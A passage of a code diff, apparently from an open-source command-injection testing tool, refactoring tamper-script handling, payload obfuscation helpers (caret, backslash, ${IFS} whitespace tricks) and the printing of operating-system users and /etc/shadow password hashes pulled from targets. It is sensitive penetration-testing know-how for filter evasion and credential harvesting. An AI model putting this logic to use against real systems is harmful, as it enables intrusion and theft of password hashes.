settings.TESTABLE_PARAMETERS_LIST + if settings.SKIP_PARAMETERS_LIST: + return name not in settings.SKIP_PARAMETERS_LIST + return True """ -Identify and print non-listed parameters that were provided but not part of the testable list. +Identify and print non-listed/skipped parameters that were provided but not part of the request. """ -def testable_parameters(url, check_parameters, header_name): - # Skip parameters if requested - if menu.options.skip_parameter is not None: - remove_skipped_params(url, check_parameters) - - if isinstance(settings.TESTABLE_PARAMETERS_LIST, list) and settings.TESTABLE_PARAMETERS_LIST: - raw_params = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST) - normalized_params = raw_params.replace(settings.SINGLE_WHITESPACE, "") - testable_params = normalized_params.split(settings.PARAMETER_SPLITTING_REGEX) - - non_listed_params = list(set(testable_params) - set(check_parameters)) +def testable_parameters(url, check_parameters): + if settings.SKIP_PARAMETERS_LIST: + skipped = [p for p in check_parameters if p in settings.SKIP_PARAMETERS_LIST] + if skipped: + info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(skipped) > 1] + " '" + ", ".join(skipped) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - # Determine testable state + if settings.TESTABLE_PARAMETERS_LIST: settings.TESTABLE_PARAMETERS = bool( - settings.TESTABLE_PARAMETERS or + settings.TESTABLE_PARAMETERS or any(p in check_parameters for p in settings.TESTABLE_PARAMETERS_LIST) ) + non_listed_params = [p for p in settings.TESTABLE_PARAMETERS_LIST if p not in check_parameters] if non_listed_params: - normalized_non_exist = settings.PARAMETER_SPLITTING_REGEX.join(non_listed_params) - normalized_non_exist = normalized_non_exist.replace(settings.SINGLE_WHITESPACE, "") - non_listed_params = normalized_non_exist.split(settings.PARAMETER_SPLITTING_REGEX) - http_method = check_http_method(url) - if non_listed_params and http_method not in settings.METHODS_WITH_NON_LISTED_PARAMS: + if http_method not in settings.METHODS_WITH_NON_LISTED_PARAMS: settings.METHODS_WITH_NON_LISTED_PARAMS.append(http_method) - non_listed_params_items = ", ".join(non_listed_params) warn_msg = "Provided parameter" + ("s" if len(non_listed_params) != 1 else "") + " '" - warn_msg += non_listed_params_items + "'" + (" are", " is")[len(non_listed_params) == 1] + warn_msg += ", ".join(non_listed_params) + "'" + (" are", " is")[len(non_listed_params) == 1] warn_msg += " not inside the " + http_method + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - + """ Lists available tamper scripts """ @@ -1758,12 +1789,7 @@ def list_tamper_scripts(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.list_tampers: - message = ( - Style.BRIGHT - + "Available tamper scripts:" - + Style.RESET_ALL - + "\n" - ) + message = "" for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): with open(script, "rb") as script_file: @@ -1771,16 +1797,14 @@ def list_tamper_scripts(): match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - # Lowercase the first letter of the comment - comment = comment[0].lower() + comment[1:] if comment else comment + # Capitalize the first letter of the comment + comment = comment[0].upper() + comment[1:] if comment else comment script_name = os.path.basename(script) message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Use '" - + Style.BRIGHT + Style.BRIGHT + script_name + Style.RESET_ALL - + "' that " + + " - " + comment + "\n" ) @@ -1800,8 +1824,7 @@ def tamper_dep_unix_only(tamper_name): return "Windows targets do not support the usage of '" + tamper_name + ".py'. Skipping tamper script." def tamper_dep_eval_incompatible(tamper_name): - eval_in_scope = len(menu.options.tech) == 0 or "e" in menu.options.tech - if eval_in_scope and settings.EVAL_BASED_STATE != False: + if settings.CURRENT_TECHNIQUE == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: return "The dynamic code evaluation technique does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." def tamper_dep_time_related_only(tamper_name): @@ -1817,11 +1840,38 @@ def tamper_dep_interpreter_incompatible(tamper_name): Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). """ def tamper_restore_ignored_words(payload, obf_char): - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - obf_word = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if obf_word in payload: + for word in sorted(settings.IGNORE_TAMPER_TRANSFORMATION, key=len, reverse=True): + obf_word = "".join(obf_char + char if re.match(settings.TAMPER_MODIFICATION_LETTERS, char) else char for char in word) + if obf_word != word and obf_word in payload: payload = payload.replace(obf_word, word) - return payload + whitespace = settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE + pattern = r"\b(for|read)" + re.escape(whitespace) + r"((?:" + re.escape(obf_char) + r")?\w(?:(?:" + re.escape(obf_char) + r")?\w)*)" + return re.sub(pattern, lambda x: x.group(1) + whitespace + x.group(2).replace(obf_char, ""), payload) + +""" +Apply a letter-modification regex only outside double-quoted spans (Windows/cmd.exe only) - +caret (and similar per-letter escapes) has no effect inside double quotes, so applying it there +just corrupts literal quoted text (e.g. "tokens=*", "powershell.exe ...") instead of obfuscating it. +""" +def tamper_modify_letters_outside_quotes(payload, repl): + parts = re.split(r'("[^"]*")', payload) + return "".join(part if part.startswith('"') else re.sub(settings.TAMPER_MODIFICATION_LETTERS, repl, part) for part in parts) + +""" +Apply "transform" outside single-quoted spans only - single quotes suppress expansion, so anything injected there stays literal and corrupts the argument. +""" +def tamper_outside_single_quotes(payload, transform): + parts = re.split(r"('[^']*')", payload) + return "".join(part if part.startswith("'") else transform(part) for part in parts) + +""" +Interleave obf_char before each tamper-modification-letter match (Unix-only) - the shared logic behind backslashes/dollaratsigns/singlequotes. +""" +def interleave_char_tamper(payload, obf_char): + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + payload = tamper_outside_single_quotes(payload, lambda part: re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], part)) + return tamper_restore_ignored_words(payload, obf_char) """ base64encode/hexencode consume the whole payload as one blob, so they can't coexist with @@ -1840,7 +1890,6 @@ def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] - # Drop empty segments (trailing/double comma) and de-duplicate (preserving order) so a repeated name is validated, loaded, and reported only once. raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): @@ -1853,16 +1902,18 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not stored_tamper_scripts: - info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: + if first in provided_scripts and second in provided_scripts: + err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() priorities = {} for script in provided_scripts: - # Register each script once; duplicate entries would apply the same tamper twice. if script not in settings.MULTI_ENCODED_PAYLOAD: settings.MULTI_ENCODED_PAYLOAD.append(script) if not stored_tamper_scripts: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + script) + info_msg = "Loading tamper module '" + script + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: module = importlib.import_module("src.core.tamper." + script) except (ImportError, ValueError): @@ -1873,8 +1924,6 @@ def tamper_scripts(stored_tamper_scripts): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() priorities[script] = getattr(module, "__priority__", settings.PRIORITY.NORMAL) - # Each script declares its own incompatibilities via dependencies() (e.g. OS, active - # technique, other options) instead of a central list here having to track them all. warn_msg = module.dependencies() if hasattr(module, "dependencies") else None if warn_msg: # Always warn and drop incompatible scripts, including resumed techniques. @@ -1903,6 +1952,17 @@ def tamper_scripts(stored_tamper_scripts): warn_msg += "is not a good idea (may cause false positive / negative results)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Enable a tamper script by name, skipping duplicates. +""" +def _enable_tamper_script(tamper_name): + if settings.TAMPER_SCRIPTS[tamper_name]: + return + provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] + if tamper_name in provided: + return + menu.options.tamper = (menu.options.tamper + "," + tamper_name) if menu.options.tamper else tamper_name + """ Check for modified whitespaces. """ @@ -1916,38 +1976,22 @@ def whitespace_check(payload): # Enable the "space2ifs" tamper script. if "${IFS}" in _: - if not settings.TAMPER_SCRIPTS['space2ifs']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2ifs" - else: - menu.options.tamper = "space2ifs" + _enable_tamper_script('space2ifs') settings.WHITESPACES[0] = "${IFS}" # Enable the "space2plus" tamper script. elif "+" in _ and payload.count("+") >= 2: - if not settings.TAMPER_SCRIPTS['space2plus']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2plus" - else: - menu.options.tamper = "space2plus" + _enable_tamper_script('space2plus') settings.WHITESPACES[0] = "+" # Enable the "space2htab" tamper script. elif "%09" in _: - if not settings.TAMPER_SCRIPTS['space2htab']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2htab" - else: - menu.options.tamper = "space2htab" + _enable_tamper_script('space2htab') settings.WHITESPACES[0] = "%09" # Enable the "space2vtab" tamper script. elif "%0b" in _: - if not settings.TAMPER_SCRIPTS['space2vtab']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2vtab" - else: - menu.options.tamper = "space2vtab" + _enable_tamper_script('space2vtab') settings.WHITESPACES[0] = "%0b" # Default whitespace @@ -1958,10 +2002,7 @@ def whitespace_check(payload): count_spaces = payload.count(settings.WHITESPACES[0]) if count_spaces > 15: if not settings.TAMPER_SCRIPTS['multiplespaces']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",multiplespaces" - else: - menu.options.tamper = "multiplespaces" + _enable_tamper_script('multiplespaces') settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) """ @@ -1970,60 +2011,32 @@ def whitespace_check(payload): def other_symbols(payload): # Implemented check to replace each character in a user-supplied OS command with a random case. if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['randomcase']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",randomcase" - else: - menu.options.tamper = "randomcase" + _enable_tamper_script('randomcase') # Check for reversed (characterwise) user-supplied operating system commands. if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['rev']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",rev" - else: - menu.options.tamper = "rev" + _enable_tamper_script('rev') # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['backticks']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",backticks" - else: - menu.options.tamper = "backticks" + _enable_tamper_script('backticks') settings.USE_BACKTICKS = True # Check for caret symbol if payload.count("^") >= 10: - if not settings.TAMPER_SCRIPTS['caret']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",caret" - else: - menu.options.tamper = "caret" + _enable_tamper_script('caret') # Check for dollar sign followed by an at-sign if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['dollaratsigns']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",dollaratsigns" - else: - menu.options.tamper = "dollaratsigns" + _enable_tamper_script('dollaratsigns') # Check for uninitialized variable if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['uninitializedvariable']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",uninitializedvariable" - else: - menu.options.tamper = "uninitializedvariable" + _enable_tamper_script('uninitializedvariable') # Check for environment variable value variable if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['slash2env']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",slash2env" - else: - menu.options.tamper = "slash2env" + _enable_tamper_script('slash2env') """ Check for (multiple) added back slashes between the characters of the generated payloads. @@ -2031,11 +2044,7 @@ def other_symbols(payload): def check_backslashes(payload): # Check for single quotes if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['backslashes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",backslashes" - else: - menu.options.tamper = "backslashes" + _enable_tamper_script('backslashes') """ Check for quotes in the generated payloads. @@ -2043,27 +2052,15 @@ def check_backslashes(payload): def check_quotes(payload): # Check for double quotes around of the generated payloads. if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['nested']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",nested" - else: - menu.options.tamper = "nested" + _enable_tamper_script('nested') # Check for (multiple) added double-quotes between the characters of the generated payloads. if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['doublequotes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",doublequotes" - else: - menu.options.tamper = "doublequotes" + _enable_tamper_script('doublequotes') # Check for (multiple) added single-quotes between the characters of the generated payloads. if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['singlequotes']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",singlequotes" - else: - menu.options.tamper = "singlequotes" + _enable_tamper_script('singlequotes') """ Charset matches alone do not prove encoding; require a mostly printable decoded result to confirm a real encoding. @@ -2164,7 +2161,6 @@ def check_encoders(payload): pass if is_decoded and (encoded_with + "encode") in settings.MULTI_ENCODED_PAYLOAD: - # Keep menu.options.tamper in sync with auto-detected tampers so resumed sessions restore them. tamper_name = encoded_with + "encode" provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] if tamper_name not in provided: @@ -2180,18 +2176,10 @@ def check_encoders(payload): """ def recognise_payload(payload): if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['sleep2usleep']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2usleep" - else: - menu.options.tamper = "sleep2usleep" + _enable_tamper_script('sleep2usleep') elif "timeout" in payload: - if not settings.TAMPER_SCRIPTS['sleep2timeout']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2timeout" - else: - menu.options.tamper = "sleep2timeout" + _enable_tamper_script('sleep2timeout') return check_encoders(payload) @@ -2230,9 +2218,7 @@ def perform_payload_modification(payload): except IndexError: settings.RAW_PAYLOAD = payload - # tamper_scripts() already sorts scripts by declared __priority__; apply them in that order. for script in list(settings.MULTI_ENCODED_PAYLOAD): - # "xforwardedfor" mutates request headers, not the payload string - applied directly in headers.do_check(), nothing to do here. if script == 'xforwardedfor': continue module = importlib.import_module("src.core.tamper." + script) @@ -2288,7 +2274,7 @@ def no_parameters_found(): err_msg = "No parameter(s) found for testing in the provided data " err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " if not menu.options.crawldepth: - err_msg += "Rerun with '--crawl=2'." + err_msg += "Re-run with '--crawl=2'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2350,7 +2336,7 @@ def is_XML_check(parameter): try: if re.search(settings.XML_RECOGNITION_REGEX, parameter): return True - except ValueError as err_msg: + except ValueError: return False #Check if INJECT_TAG is enclosed in quotes (in json data) @@ -2415,7 +2401,6 @@ def check_similarities(all_params): if settings.SINGLE_WHITESPACE in flat[param]: flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, _) modified = True - # Re-dump only on a real collision (avoids corrupting nested bodies). if modified: all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")] except Exception: @@ -2465,11 +2450,7 @@ def print_ps_version(ps_version, filename, _): # Output PowerShell's version number info_msg = "Powershell version: " + ps_version settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, info_msg, group="info") except ValueError: warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means some payloads or injection techniques may fail." @@ -2486,11 +2467,7 @@ def print_hostname(shell, filename, _): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - info_msg = info_msg + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, info_msg, group="info") else: warn_msg = "Failed to identify the hostname." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2504,11 +2481,7 @@ def print_current_user(cu_account, filename, _): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - info_msg = info_msg + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, info_msg, group="info") else: warn_msg = "Failed to fetch the current user." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2527,11 +2500,7 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has elevated privileges: " + str(priv) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - info_msg = info_msg + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, info_msg, group="info") """ Print OS info """ @@ -2541,11 +2510,7 @@ def print_os_info(target_os, target_arch, filename, _): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - info_msg = info_msg + settings.END_LINE.LF - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, info_msg, group="info") else: warn_msg = "Failed to fetch underlying operating system information." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2575,16 +2540,11 @@ def os_info_msg(self): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_users_msg(self): - if settings.TARGET_OS == settings.OS.WINDOWS: - info_msg = "Executing the 'net user' command " - else: - info_msg = "Fetching contents of the file '" + settings.PASSWD_FILE + "' " - info_msg += "to enumerate operating system users. " + info_msg = "Fetching operating system users. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_passes_msg(self): - info_msg = "Fetching contents of the file '" + settings.SHADOW_FILE + "' " - info_msg += "to enumerate operating system users password hashes. " + info_msg = "Fetching operating system users password hashes. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): @@ -2592,9 +2552,28 @@ def print_single_os_cmd_msg(self, cmd): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ -Print users enumeration. +Classify a uid into a human-readable privilege label, mirroring '/etc/passwd' conventions. +""" +def classify_uid(uid): + uid = int(uid) + if uid == 0: + return "root user" + elif 0 < uid < 99: + return "system user" + elif 99 <= uid <= 65534: + if uid in (99, 60001, 65534): + return "anonymous user" + elif uid == 60002: + return "non-trusted user" + else: + return "regular user" + return "" + +""" +Print users enumeration: a bare '* name' list, plus a per-user privileges section when requested. """ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter): + # Windows users enumeration. if settings.TARGET_OS == settings.OS.WINDOWS: try: @@ -2607,25 +2586,14 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - is_privileged = is_privileged = "" - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - if count == 1 : - output_file.write(settings.END_LINE.LF) - output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'" + settings.END_LINE.LF ) + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="users") + for name in sys_users_list: + settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name) + logs.add_line(filename, " * " + name, group="users") else: warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2652,9 +2620,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() settings.print_data_to_stdout(sys_users) - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(" " + sys_users) + logs.add_line(filename, " " + sys_users, group="users") else: sys_users_list = [] for user in range(0, len(sys_users), 3): @@ -2662,64 +2628,47 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) + logs.add_line(filename, info_msg, group="users") + + parsed_users = [] count = 0 for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) + entry = ":".join(str(p) for p in sys_users_list[user]) count = count + 1 - fields = sys_users.split(":") - # System users privileges enumeration + fields = entry.split(":") try: if not fields[2].startswith("/"): raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - if count == 1 : - output_file.write(settings.END_LINE.LF) - output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'." + settings.END_LINE.LF) + parsed_users.append((fields[0], fields[1], fields[2])) + settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0]) + logs.add_line(filename, " * " + fields[0], group="users") except ValueError: if count == 1 : warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - settings.print_data_to_stdout(sys_users) - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(" " + sys_users) + raw_line = " ".join(str(p) for p in fields) + settings.print_data_to_stdout(raw_line) + logs.add_line(filename, " " + raw_line, group="users") + + # Per-user privileges, only when explicitly requested. + if menu.options.privileges and parsed_users: + fetch_msg = "Fetching operating system users privileges. " + settings.print_data_to_stdout(settings.print_info_msg(fetch_msg)) + info_msg = "Operating system" + info_msg += " user" + ('s', '')[len(parsed_users) == 1] + info_msg += " privileges [" + str(len(parsed_users)) + "]:" + settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) + logs.add_line(filename, info_msg, group="privileges") + for name, uid, homedir in parsed_users: + label = classify_uid(uid) + note = " (" + label + ", uid=" + uid + ", home directory '" + homedir + "')" if label else " (uid=" + uid + ", home directory '" + homedir + "')" + settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name + note) + logs.add_line(filename, " * " + name + note, group="privileges") else: warn_msg = "It seems you do not have permission " warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'." @@ -2736,20 +2685,17 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi Print users enumeration. """ def print_passes(sys_passes, filename, _, interpreter): - if sys_passes == "": - sys_passes = settings.SINGLE_WHITESPACE + if sys_passes: + sys_passes = "".join(str(p) for p in sys_passes).strip() sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(sys_passes) == 1] info_msg += " password hashes [" + str(len(sys_passes)) + "]:" - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="passwords") count = 0 for line in sys_passes: count = count + 1 @@ -2757,13 +2703,8 @@ def print_passes(sys_passes, filename, _, interpreter): if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - if count == 1 : - output_file.write(settings.END_LINE.LF) - output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + settings.END_LINE.LF) + settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0] + ":" + fields[1]) + logs.add_line(filename, " * " + fields[0] + ":" + fields[1], group="passwords") # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : @@ -2771,27 +2712,89 @@ def print_passes(sys_passes, filename, _, interpreter): warn_msg += "in the appropriate format. Thus, exporting it as 